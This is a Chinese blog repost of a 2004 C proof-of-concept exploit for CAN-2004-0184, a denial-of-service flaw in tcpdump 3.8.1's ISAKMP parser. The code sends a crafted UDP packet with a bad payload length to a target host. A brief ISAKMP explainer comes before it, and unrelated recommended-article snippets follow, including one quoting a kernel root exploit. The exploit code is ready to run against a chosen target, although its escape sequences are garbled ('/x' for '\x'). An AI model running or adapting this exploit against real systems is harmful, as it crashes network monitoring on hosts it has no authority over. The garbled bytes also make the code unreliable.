Tcpdump ISAKMP Identification payload Integer Denial of Service Exploit

ISAKMP - 解释域(DOI)和初始向量(IV) Domain of Interpretation – 解释域 DOI定义了负载的格式、交换的类型,以及对安全相关信息的命名约定,比如对安全策略或者加密算法和模式的命名。DOI标识用来说明payload通过哪一个DOI来解释。常用的DOI有两个,0和1。0表示ISAKMP DOI,1标识IPSec DOI。如果一个负载,不如Notification payload的DOI为0,那么说明这是一个IS 阅读详情
文章出处:黑白网络 http://www.heibai.net/article/info/info.php?sessid=&infoid=11184
* tcpdump packet sniffer
* Integer underflow in ISAKMP Identification payload
* denial of service vulnerability
* proof of concept code
* version 1.0 (Apr 02 2004)
* CVE-ID: CAN-2004-0184
*
* by Remi Denis-Courmont < exploit at simphalampin dot com >
* http://www.simphalempin.com/dev/
* Remi Denis-Courmont is not responsible for the misuse of the
* source code provided hereafter.
*
* This vulnerability was found by:
* Rapid7, LLC Security Advisory - http://www.rapid7.com/
* whose original advisory may be fetched from:
* http://www.rapid7.com/advisories/R7-0017.html
*
* Vulnerable:
* - tcpdump 3.8.1
*
* Not vulnerable:
* - tcpdump 3.8.3
*
* NOTES:
* The vulnerability cannot be exploited to cause a denial of service
* with the Debian's tcpdump packages as it was partly fixed as part of
* the fix for earlier known CAN-2003-0108 vulnerability, though the bug
* is still present. That may be the case for other vendors which were
* not investigated.
*
* tcpdump must be run with a verbosity level of at least 3:
* # tcpdump -vvv
* Otherwise, no denial of service will occur.
*/


/*****************************************************************************
* Copyright (C) Remi Denis-Courmont 2004. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* 1. Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* *
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR *
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT *
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
*****************************************************************************/


#include <string.h>
#include <stdio.h>

#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>

#include <netdb.h>

static const char packet[] =
/* ISAKMP header */
"/x00/x00/x00/x00/x00/x00/x00/x00" /* Initiator cookie */
"/x00/x00/x00/x00/x00/x00/x00/x00" /* Responder cookie */
"/x05" /* Next payload: Identification */
"/x10" /* Version: 1.0 */
"/x01" /* Exchange type */
"/x00" /* Flags */
"/x00/x00/x00/x00" /* Message ID */
"/x00/x00/x00/x24" /* Length */

/* ISAKMP Identification payload */
"/x00" /* Next payload: none */
"/x00" /* Reserved */
"/x00/x05" /* Payload length (incorrect) */
"/x20" /* ID type (unknown) */
"/x00/x00/x00" /* DOI */
;

static int
send_evil_packet (const struct addrinfo *r)
{
int fd;
size_t len;

fd = socket (r->ai_family, r->ai_socktype, r->ai_protocol);
if (fd == -1)
{
perror ("Socket error");
return 1;
}

len = sizeof (packet) - 1;
if (sendto (fd, packet, len, 0, r->ai_addr, r->ai_addrlen) != len)
{
perror ("Packet sending error");
close (fd);
return 1;
}

puts ("Packet sent!");
close (fd);
return 0;
}


static int
proof (const char *hostname)
{
struct addrinfo *res;
int check;

{
struct addrinfo help;
memset (&help, 0, sizeof (help));
help.ai_socktype = SOCK_DGRAM;

check = getaddrinfo (hostname, "isakmp", &help, &res);
}

if (check == 0)
{
struct addrinfo *ptr;

for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
check |= send_evil_packet (ptr);

freeaddrinfo (res);
return check;
}

fprintf (stderr, "%s: %s/n", hostname, gai_strerror (check));
return -1;
}


static void
usage (const char *path)
{
fprintf (stderr, "Usage: %s <hostname/IP>/n", path);
}


int
main (int argc, char *argv[])
{
puts ("tcpdump Integer underflow in ISAKMP Identification payload/n"
"proof of concept code/n"
"Copyright (C) Remi Denis-Courmont 2004 "
"</x65/x78/x70/x6c/x6f/x69/x74/x40/x73/x69/x6d/x70"
"/x68/x61/x6c/x65/x6d/x70/x69/x6e/x2e/x63/x6f/x6d>/n");


if (argc != 2)
{
usage (argv[0]);
return 2;
}

return proof (argv[1]) ? 1 : 0;
}


作者:leftworld
责任编辑:hhxyzwx

商业虚拟专用网络技术五IPSec IPSec虚拟专用网:就是利用开放的公众IP/MPLS网络建立专用数据传输通道,将远程的分支机构、移动办公人员等连接起来。这个专用数据传输通道称为IPSec隧道,位于OSI模型的第三层,传送IP包。 IPSec实现访问控制、机密性、完整性校验、数据源验证、拒绝重播报文等安全功能。IPSec是运行在IP网络层,其上层TCP、UDP以及依赖于这些协议的应用协议都受到隧道的保护。 阅读详情

相关推荐

优刻得首个「国产千卡智算集群」落地,支持智源千亿大模型训练

在人工智能引领的时代浪潮中,算力已成为技术进步与创新的核心驱动力。面对当下AI算力需求的飙升、高端AI芯片供应受限的挑战,加之OpenAI带来的技术封锁,唯有坚定不移的发展自主可控的国产技术方案,持续壮大国产智算集群规模,才能一路突破围追堵截,进一步促进国产大模型产业生态繁荣。集群还提供了完善高效的软件栈工具,集成多种主流的深度学习编程框架,通过测试验证,确保了对行业领先人工智能模型的高效支持,做到开箱即用,用户可快速投入模型的开发和部署,加速了其在人工智能领域的布局和发展。方面取得了显著成效。

Ucloud_TShare的博客 1473

二、Jenkins 学习笔记——Jenkins 安装

Jenkins 的安装非常简单,只需要从 Jenkins 的主页上下载最新的 jenkins.war 文件然后运行 java -jar jenkins.war。同时,还可以点击 Jenkins 页面上的 launch 按钮完成下载和运行 Jenkins。 图 1. Jenkins Launch 按钮 启动 Jenkins 后,会有一个后台进程在命令行模式下运行。此时在浏览器地址栏中

wq105032007067的专栏 1878

数字设计实验:自动售货机

本文旨在介绍数字设计实验:自动售货机的设计思路和实现代码

2401_83740084的博客 2227

STRONGSWAN源代码学习1_IPSEC学习

互联网密钥交换协议IKE(Internet Key Exchange) IKE的三大组成协议:SKEME、Oakley、ISAKMP IKE与ISAKMP ISAKMP是IKE的核心协议。很多网络技术人员常常会认为IKE和ISAMKP是相同的概念。 IKE的两个阶段 第一阶段(Phase 1)分别可以使用6个包交换的主模式(Main Mode)或者3个包交换的主动模式

Skylar 1万+

玉米群体遗传分析实战:如何用IQtree和VCF文件快速构建系统发育树(附避坑指南)

本文详细介绍了如何利用IQtree和VCF文件进行玉米群体遗传分析,并快速构建可靠的系统发育树。文章重点解析了从VCF格式转换到PHYLIP格式的实用技巧,强调了使用ASC模型校正SNP数据偏差的重要性,并提供了完整的参数设置、常见报错解决方案及结果评估指南,帮助研究者高效完成分析并规避常见陷阱。

leaf8的博客 607

Java判断地图坐标(经度,纬度)是否在多边形区域或圆形区域内

​欢迎光临我的博客查看最新文章:在地图上,可以使用经纬度确定一个位置,如上海体育场(121.449391,31.188228),如果知道了2个地点的经纬度,我们就能在地图上找到其位置及2点的距离,百度地图或高德地图提供了相应的服务;如果将多个坐标点连成多边形区域,如何判断某个坐标点是否在多边形区域内,如下工具类。

river106的博客 3942

服务器敏感信息泄漏问题,Jenkins服务器漏洞致敏感信息泄露

Jenkins是一个开源的自动化服务器软件。近日,Jenkins发布安全公告称Jetty web服务器中存在安全漏洞,攻击者利用该漏洞可以引发内存破坏和机密信息泄露。该漏洞CVE编号为CVE-2019-17638,CVSS 评分为9.4,影响Eclipse Jetty 9.4.27.v20200227 到 9.4.29.v20200521版本。Eclipse Jetty是一个提供Java HTTP...

weixin_29774679的博客 811

XCP_Basic 移植步骤

XCP_Basic 移植步骤

ggzzc的博客 2316

Jenkins安装及插件安装

Jenkins 安装过程中会要求安装推荐插件或自定义插件,此时Jenkins 默认会从官网拉取插件,由于国内网络访问Jenkins 官网特别慢,所以可以通过寻求国内Jenkins源的方式解决插件安装问题 Jenkins 安装时会默认从updates.jenkins-ci.org 拉取,我们可以采用nginx代理的方式将其代理至mirrors.tuna.tsinghua.edu.cn ,方法如下: 配置host 解析: echo “127.0.0.1 updates.jenkins-ci.org” >

rockstics的博客 1350

@transactional滥用导致数据源连接池耗尽问题

@transactional滥用导致数据源连接池耗尽问题

qq_43205267的博客 1200

linux 内核OOM问题定位-SLAB_DEBUG

首先看slabinfo按的size排序查看 slub object,可以查看 space 总占用大小,及objects个数判断泄漏点 为kmalloc-128。那个泄露多看/sys/kernel/debug的slab/kmalloc*-的alloc-traces和free-traces。SLAB或者SLUB有一个用就可以,改menuconfig没有clean会覆盖之前的更改,现在看一下编译的过程。或者配置defconfig,配置完之后需要clean后再编译。1,配置menuconfig。

陌上花开缓缓归以的博客 899

IPsec ISAKMP协议

IPsec ISAKMP:Internet 安全连接和密钥管理协议 (ISAKMP:Internet Security Association and Key Management Protocol)   Interne 安全连接和密钥管理协议(ISAKMP)是 IPsec 体系结构中的一种主要协议,它结合加密安全的概念,密钥管理和安全连接来建立政府,商家和因特网上的私有通信所需要的安全。

bytxl的专栏 2万+

[Dify实战] 合同审阅助手:识别风险条款、生成修改建议-带绑定资源

摘要: Dify合同审阅助手通过AI技术提升合同审阅效率,快速识别风险条款并输出结构化修改建议。方案包括合同输入、关键条款识别、风险评级和报告生成流程,重点关注付款、责任限制等核心条款。采用分层风险分级(高/中/低)和"红线清单"机制,确保审阅标准化。实施建议先建立条款库和模板,通过样本测试优化模型,定期更新规则库。该方案可缩短审阅时间50%以上,提高风险识别准确率,最终实现法务经验的可复用沉淀。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 596

【XSS_MSN】基于GCN的web攻击Payload识别与可解释性分析

论文选用GCN进行web payload攻击特征提取,并在可解释性方面进行了分析

sunny0121的博客 1011

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

ISAKMP报文封装格式及解释

ISAKMP报文封装格式及详解1.IP报文头新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 1.IP报文头 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器,

aaheguosong的博客 5543

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

IPsec中IKE与ISAKMP过程分析(主模式-消息4)

IKE第一阶段消息4由响应方发出,基本与消息3相同,区别主要是不需要发送本方签名和加密证书,因为已经在消息2中完成了。可以看到,这里没有Payload-Certificate了,SKr,Nr,IDr和SIGr均与消息3相似对应。

ryanzzzzz的博客 1671

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

linux漏洞英文怎么说,Linux kernel Local Denial of Service Vulnerability (CVE-2017-7308 )

// A proof-of-concept local root exploit for CVE-2017-7308.// Includes a SMEP & SMAP bypass.// Tested on 4.8.0-41-generic Ubuntu kernel.// https://github.com/xairy/kernel-exploits/tree/master/CVE-...

weixin_42508313的博客 377

Jenkins 3月9日的安全公告

参考: https://jenkins.io/security/advisory/2020-03-09/ 关注几个标为High的漏洞: OS command injection in CryptoMove Plugin SECURITY-1635 / CVE-2020-2159 所需权限:Job/Configure 目前未修复 看一下官方给的安装量: 醉了,只有1个! 没有人用,忽略了。 RCE...

公众号shadow sock7 553

ISAKMP报文解密

使用wireshark抓包

mengshi12的专栏 4965

极其详细的isakmp的细节

see:http://book.soundonair.ru/cisco/ch13lev1sec4.html IPsec Negotiation Using the IKE Protocol IKE negotiates IPsec tunnels between two IPsec peers. This negotiation can be done using a combinat...

weixin_33948416的博客 1781

超详细的网络抓包神器 tcpdump 使用指南

本文主要介绍了 tcpdump 的基本语法和使用方法,并通过一些示例来展示它强大的过滤功能。将 tcpdump 与 wireshark 进行组合可以发挥更强大的功效,本文也展示了如何优雅顺滑地结合 tcpdump 和 wireshark。如果你想了解更多的细节,可以查看 tcpdump 的 man 手册。...

因上努力,果上随缘。但行好事,莫问前程。 6003

pluto实现分析(8)

本文档的Copyleft归yfydz所有,使用GPL发布,可以自由拷贝,转载,转载时请保持文档的完整性, 严禁用于任何商业用途。msn: yfydz_no1@hotmail.com来源:http://yfydz.cublog.cn 9. 协商总体概述 9.1 概述 pluto启动时,whack将ipsec.conf中的连接信息发送给pluto(rcv_whack.c, w...

weixin_34049948的博客 676

tcpdump抓包丢包

1552 packets captured 1586 packets received by filter 34 packets dropped by kernel 抓并发下载文件的包更容易丢 加大抓包的buff tcpdump -i eth0 host 192.168.1.248 -B 20480 -w wget_500.pcap...

weixin_42651205的博客 2371

如何使用tcpdump命令抓包

小伙伴们,让我们一起来学习如何使用tcpdump命令抓包。

精益求精,永无止境,永远在路上! 6699

tcpdump抓包规则 命令大全

tcpdump采用命令行方式,它的命令格式为: tcpdump采用命令行方式,它的命令格式为: tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]   [ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]   [ -T 类型 ] [ -w 文件名 ] [表达式 ] 1. tcpdump的选项介绍  -a    将网络地址和广...

u014472548的博客 1656

ipv4报头与ipv6报头字段对比分析

ipv4报头与ipv6报头字段对比分析

qq_44828753的博客 6313
上一篇: 获取远程网卡MAC地址。
下一篇: 奇怪的主板不认硬盘问题
prettywolf
博客等级 码龄26年 20粉丝 26原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值